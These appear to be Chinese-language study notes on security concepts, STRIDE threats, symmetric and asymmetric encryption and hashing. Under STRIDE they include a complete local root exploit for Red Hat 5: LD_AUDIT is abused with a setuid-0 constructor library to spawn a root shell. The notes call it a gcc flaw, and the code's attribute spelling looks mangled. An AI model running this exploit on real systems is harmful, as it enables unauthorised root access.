安全与加密算法
安全相关概念:
安全防护环节
- 物理安全:各种设备/主机、机房环境
- 系统安全:主机或设备的操作系统
- 应用安全:各种网络服务、应用程序
- 网络安全:对网络访问的控制、防火墙规则
- 数据安全:信息的备份与恢复、加密解密
- 管理安全:各种保障性的规范、流程、方法
常见的安全攻击STRIDE
- Spoofing 假冒
- Tampering 篡改
- Repudiation 否认
- Information Disclosure 信息泄漏
- Denial of Service 拒绝服务
- Elevation of Privilege 提升权限
例:红帽5的gcc漏洞:
mkdir /tmp/hj
ln /bin/ping /tmp/hj/test
exec 3< /tmp/hj/test
rm -rf /tmp/hj
cat > /tmp/hj.c <<-eof
void _attribute_((constructor)) init(){
setuid(0);
system("/bin/bash");
}
eof
gcc -w -fPIC -shared -o /tmp/hj /tmp/hj.c
LD_AUDIT="$ORIGIN" exec /proc/self/fd/3 &> /dev/null
#此时切换root身份不再需要密码
常用安全技术
- 认证
- 授权
- 审计
- 安全通信
加密算法和协议
- 对称加密
- 非对称(公钥)加密
- 单向加密
- 认证协议
对称加密算法:
对称加密: 加密和解密使用同一个密钥
特性:
- 加密、解密使用同一个密钥,效率高
- 将原始数据分割成固定大小的块,逐个进行加密
缺陷:
- 密钥过多
- 密钥分发
- 数据来源无法确认
常见对称加密算法:
- DES:Data Encryption Standard,56bits
- 3DES:
- AES:Advanced (128, 192, 256bits)
- Blowfish,Twofish
- idea、rc6、casts
非对称加密算法:
非对称加密: 密钥是成对出现
- 公钥: public key,公开给所有人,主要给别人加密使用
- 私钥: secret key,private key 自己留存,必须保证其私密性,用于自已加密签名
特点: 用公钥加密数据,只能使用与之配对的私钥解密;反之亦然
功能:
- 数据加密:适合加密较小数据,比如: 加密对称密钥
- 数字签名:主要在于让接收方确认发送方身份,私钥加密,公钥解密叫数字签名
缺点:
- 密钥长,算法复杂
- 加密解密效率低下
常见非对称加密算法:
- RSA: 由RSA公司发明,是一个支持变长密钥的公共密钥算法,需要加密的文件块的长度也是可变的,可实现加密和数字签名
- DSA(Digital Signature Algorithm): 数字签名算法,是一种标准的DSS(数字签名标准)
- ECC(Elliptic Curves Cryptography): 椭圆曲线密码编码学,比RSA加密算法使用更小的密钥,提供相当的或更高等级的安全
单向哈希算法:
哈希算法: 也称为散列算法,将任意数据缩小成固定大小的“指纹”,称为digest,即摘要
特性:
- 任意长度输入,固定长度输出
- 若修改数据,指纹也会改变,且有雪崩效应,数据的一点微小改变,生成的指纹值变化非常大。
- 无法从指纹中重新生成数据,即不要逆,具有单向性
功能: 数据完整性验证
常见算法:
- md5: 128bits 已破解
- sha1: 160bits 已破解
- sha224 、sha256、sha384、sha512
常用加密工具:
- md5sum、sha1sum、sha224sum、sha256sum、shaxxx
- openssl dgst -算法名
- gpg

浙公网安备 33010602011771号